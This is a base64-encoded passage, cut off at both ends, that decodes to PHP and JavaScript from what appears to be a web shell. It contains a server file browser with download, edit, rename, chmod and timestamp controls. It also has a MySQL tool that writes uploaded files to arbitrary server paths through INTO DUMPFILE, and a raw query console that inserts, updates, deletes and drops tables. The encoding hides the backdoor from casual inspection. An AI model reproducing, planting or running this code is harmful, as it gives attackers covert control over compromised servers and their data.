ZpbGVuYW1lJ10hPScuLicgJiYgJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7DQoJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJGZpbGVkYlsnc2VydmVyX2xpbmsnXSk7DQoJCQkkdGhpc2JnID0gYmcoKTsNCgkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kZmlsZWRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+RG93bjwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ2VkaXRmaWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPkVkaXQ8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPiB8ICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCduZXd0aW1lXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPlRpbWU8L2E+Jyk7DQoJCQlwKCc8L3RkPjwvdHI+Jyk7DQoJCQkkZmlsZV9pKys7DQoJCX0NCgl9DQoJcCgnPHRyIGNsYXNzPSInLmJnKCkuJyI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBkb3dubG9hZCBzZWxlY3RlZDwvYT4gLSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOw0KCXAoJzwvZm9ybT48L3RhYmxlPicpOw0KfS8vIGVuZCBkaXINCg0KZWxzZWlmICgkYWN0aW9uID09ICdzcWxmaWxlJykgew0KCWlmKCRkb2luZz09Im15c3FsdXBsb2FkIil7DQoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOw0KCQkkZmlsZW5hbWUgPSAkZmlsZVsndG1wX25hbWUnXTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRzYXZlcGF0aCkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOw0KCQl9IGVsc2Ugew0KCQkJaWYoISRmaWxlbmFtZSkgew0KCQkJCW0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7DQoJCQl9IGVsc2Ugew0KCQkJCSRmcD1AZm9wZW4oJGZpbGVuYW1lLCdyJyk7DQoJCQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCQkkY29udGVudHMgPSBiaW4yaGV4KCRjb250ZW50cyk7DQoJCQkJaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOw0KCQkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJCSRyZXN1bHQgPSBxKCJTRUxFQ1QgMHh7JGNvbnRlbnRzfSBGUk9NIG15c3FsLnVzZXIgSU5UTyBEVU1QRklMRSAnJHNhdmVwYXRoJzsiKTsNCgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOw0KCQkJfQ0KCQl9DQoJfQ0KPz4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7DQoJaWYoIWRvaW5nKSByZXR1cm47DQoJJCgnZG9pbmcnKS52YWx1ZT1kb2luZzsNCgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRicG9ydC52YWx1ZT0kKCdkYmluZm8nKS5kYnBvcnQudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuZGJ1c2VyLnZhbHVlPSQoJ2RiaW5mbycpLmRidXNlci52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRibmFtZS52YWx1ZT0kKCdkYmluZm8nKS5kYm5hbWUudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuY2hhcnNldC52YWx1ZT0kKCdkYmluZm8nKS5jaGFyc2V0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8P3BocA0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIEluZm9ybWF0aW9uJywnbmFtZSc9PidkYmluZm8nKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsNCglwKCc8cD4nKTsNCglwKCdEQkhvc3Q6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7DQoJcCgnOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7DQoJcCgnREJVc2VyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOw0KCXAoJ0RCUGFzczonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsNCglwKCdEQk5hbWU6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RibmFtZScsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJuYW1lKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdCgpOw0KCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9Im15c3FsZmlsZSIgaWQ9Im15c3FsZmlsZSI+Jyk7DQoJcCgnPGgyPlVwbG9hZCBmaWxlPC9oMj4nKTsNCglwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7DQoJcCgnPHA+U2F2ZSBwYXRoKGZ1bGxwYXRoKTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ic2F2ZXBhdGgiIHNpemU9IjQ1IiB0eXBlPSJ0ZXh0IiAvPiBDaG9vc2UgYSBmaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB0eXBlPSJmaWxlIiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsdXBsb2FkXCcpOyI+VXBsb2FkPC9hPjwvcD4nKTsNCglwKCc8aDI+RG93bmxvYWQgZmlsZTwvaDI+Jyk7DQoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7DQoJbWFrZWhpZGUoJ2RiaG9zdCcpOw0KCW1ha2VoaWRlKCdkYnBvcnQnKTsNCgltYWtlaGlkZSgnZGJ1c2VyJyk7DQoJbWFrZWhpZGUoJ2RicGFzcycpOw0KCW1ha2VoaWRlKCdkYm5hbWUnKTsNCgltYWtlaGlkZSgnY2hhcnNldCcpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7DQoJcCgnPC9mb3JtPicpOw0KfQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGFkbWluJykgew0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0iY29ubmVjdCIgdmFsdWU9IjEiIC8+JzsNCglpZihpc3NldCgkZGJob3N0KSl7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnVzZXIpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBhc3MpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYnBvcnQpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRkYm5hbWUpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7DQoJfQ0KCWlmKGlzc2V0KCRjaGFyc2V0KSkgew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOw0KCX0NCg0KCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgew0KCQlpZiAoISR0YWJsZSkgew0KCQkJbSgnUGxlYXNlIGNob29zZSB0aGUgdGFibGUnKTsNCgkJfSBlbHNlIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJJHRhYmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KCQkJJGZwID0gQGZvcGVuKCRwYXRoLCd3Jyk7DQoJCQlpZiAoJGZwKSB7DQoJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgdGFibGVzJyk7DQoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCQkJCSRteXNxbGRhdGEgPSAnJzsNCgkJCQl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZwKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlmY2xvc2UoJGZwKTsNCgkJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJHBhdGgpOw0KCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7DQoJCQkJbXlzcWxfY2xvc2UoKTsNCgkJCX0gZWxzZSB7DQoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOw0KCQkJfQ0KCQl9DQoJfQ0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsNCgkJJGtleXN0ciA9ICR2YWxzdHIgPSAkdG1wID0gJyc7DQoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsNCgkJCWlmICgkdmFsKSB7DQoJCQkJJGtleXN0ciAuPSAkdG1wLiRrZXk7DQoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCQkkdG1wID0gJywnOw0KCQkJfQ0KCQl9DQoJCWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsNCgkJJHZhbHN0ciA9ICR0bXAgPSAnJzsNCgkJZm9yZWFjaCgkaW5zZXJ0c3FsIGFzICRrZXkgPT4gJHZhbCkgew0KCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsNCgkJCSR0bXAgPSAnLCc7DQoJCX0NCgkJaWYgKCR2YWxzdHIpIHsNCgkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7DQoJCX0NCgl9DQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7DQoJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoJCSRkZWxldGVfc3FsID0gIkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIjsNCgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCW0ocSgiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiKSA/ICdEZWxldGlvbiByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCgl9DQoNCglpZiAoJHRhYmxlbmFtZSAmJiAkZG9pbmcgPT0gJ2Ryb3AnKSB7DQoJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsNCgkJCW0oJ0Ryb3AgdGFibGUgb2Ygc3VjY2VzcycpOw0KCQkJJHRhYmxlbmFtZSA9ICcnOw0KCQl9IGVsc2Ugew0KCQkJbShteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCg0KCSRjaGFyc2V0cyA9IGFycmF5KCcnPT4nRGVmYXVsdCcsJ2diayc9PidHQksnLCAnYmlnNSc9PidCaWc1JywgJ3V0ZjgnPT4nVVRGLTgnLCAnbGF0aW4xJz0+J0xhdGluMScpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIE1hbmFnZXInKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIb3N0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KCXAoJzonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOw0KCXAoJ0RCVXNlcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsNCglwKCdEQlBhc3M6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQo/Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gZWRpdHJlY29yZChhY3Rpb24sIGJhc2U2NCwgdGFibGVuYW1lKXsNCglpZiAoYWN0aW9uID09ICdkZWwnKSB7DQoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOw0KCX0NCgkkKCdyZWNvcmRsaXN0JykuZG9pbmcudmFsdWU9YWN0aW9uOw0KCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0Ow0KCSQoJ3JlY29yZGxpc3QnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3JlY29yZGxpc3QnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIG1vZGRibmFtZShkYm5hbWUpIHsNCglpZighZGJuYW1lKSByZXR1cm47DQoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsNCgkkKCdzZXRkYm5hbWUnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7DQoJaWYoIXRhYmxlbmFtZSkgcmV0dXJuOw0KCWlmIChkb2luZykgew0KCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCX0NCglpZiAocGFnZSkgew0KCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsNCgl9DQoJJCgnc2V0dGFibGUnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjw/cGhwDQoJLy8jKysmIzExMTg7K3wtKw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlY29yZGxpc3QnKSk7DQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJbWFrZWhpZGUoJ2Jhc2U2NCcpOw0KCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsNCglwKCRkYmZvcm0pOw0KCWZvcm1mb290KCk7DQoNCgkvLy0mIzEwNzM7fCYjMTA4MDstICt8KyYjMTA5MDsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXRkYm5hbWUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgkZGJmb3JtKTsNCglpZiAoISRkYm5hbWUpIHsNCgkJbWFrZWhpZGUoJ2RibmFtZScpOw0KCX0NCglmb3JtZm9vdCgpOw0KDQoJLy8tJiMxMDczO3wmIzEwODA7IyYjMTEwMTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJsZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCglwKCRkYmZvcm0pOw0KCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsNCgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCWZvcm1mb290KCk7DQoNCgkkY2FjaGV0YWJsZXMgPSBhcnJheSgpOw0KCSRwYWdlbnVtID0gMzA7DQoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOw0KCWlmKCRwYWdlKSB7DQoJCSRzdGFydF9saW1pdCA9ICgkcGFnZSAtIDEpICogJHBhZ2VudW07DQoJfSBlbHNlIHsNCgkJJHN0YXJ0X2xpbWl0ID0gMDsNCgkJJHBhZ2UgPSAxOw0KCX0NCglpZiAoaXNzZXQoJGRiaG9zdCkgJiYgaXNzZXQoJGRidXNlcikgJiYgaXNzZXQoJGRicGFzcykgJiYgaXNzZXQoJGNvbm5lY3QpKSB7DQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoJCS8vKyYjMTEwNTsrJiMxMDczOy0gK3wrJiMxMDkwOy0rLSYjMTA3NDsNCgkJJG15c3FsdmVyID0gbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCk7DQoJCXAoJzxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmluZyBpbiAnLiRkYmhvc3QuJyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsNCgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOw0KDQoJCS8vKyYjMTEwNTsrJiMxMDczOy0gK3wrJiMxMDkwOw0KCQkkcXVlcnkgPSBxKCJTSE9XIERBVEFCQVNFUyIpOw0KCQkkZGJzID0gYXJyYXkoKTsNCgkJJGRic1tdID0gJy0tIFNlbGVjdCBhIGRhdGFiYXNlIC0tJzsNCgkJd2hpbGUoJGRiID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KCQkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0gJGRiWydEYXRhYmFzZSddOw0KCQl9DQoJCW1ha2VzZWxlY3QoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBzZWxlY3QgYSBkYXRhYmFzZTonLCduYW1lJz0+J2RiW10nLCdvcHRpb24nPT4kZGJzLCdzZWxlY3RlZCc9PiRkYm5hbWUsJ29uY2hhbmdlJz0+J21vZGRibmFtZSh0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4XS52YWx1ZSknLCduZXdsaW5lJz0+MSkpOw0KCQkkdGFibGVkYiA9IGFycmF5KCk7DQoJCWlmICgkZGJuYW1lKSB7DQoJCQlwKCc8cD4nKTsNCgkJCXAoJ0N1cnJlbnQgZGFiYWJhc2U6IDxhIGhyZWY9ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4nKTsNCgkJCWlmICgkdGFibGVuYW1lKSB7DQoJCQkJcCgnIHwgQ3VycmVudCBUYWJsZTogPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcpOyI+Jy4kdGFibGVuYW1lLic8L2E+IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPlN0cnVjdHVyZTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdkcm9wXCcpOyI+RHJvcDwvYT4gXScpOw0KCQkJfQ0KCQkJcCgnPC9wPicpOw0KCQkJbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KDQoJCQkkZ2V0bnVtc3FsID0gJyc7DQoJCQkkcnVucXVlcnkgPSAwOw0KCQkJaWYgKCRzcWxfcXVlcnkpIHsNCgkJCQkkcnVucXVlcnkgPSAxOw0KCQkJfQ0KCQkJJGFsbG93ZWRpdCA9IDA7DQoJCQlpZiAoJHRhYmxlbmFtZSAmJiAhJHNxbF9xdWVyeSkgew0KCQkJCSRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJCQkkZ2V0bnVtc3FsID0gJHNxbF9xdWVyeTsNCgkJCQkkc3FsX3F1ZXJ5ID0gJHNxbF9xdWVyeS4iIExJTUlUICRzdGFydF9saW1pdCwgJHBhZ2VudW0iOw0KCQkJCSRhbGxvd2VkaXQgPSAxOw0KCQkJfQ0KCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7DQoJCQlwKCc8cD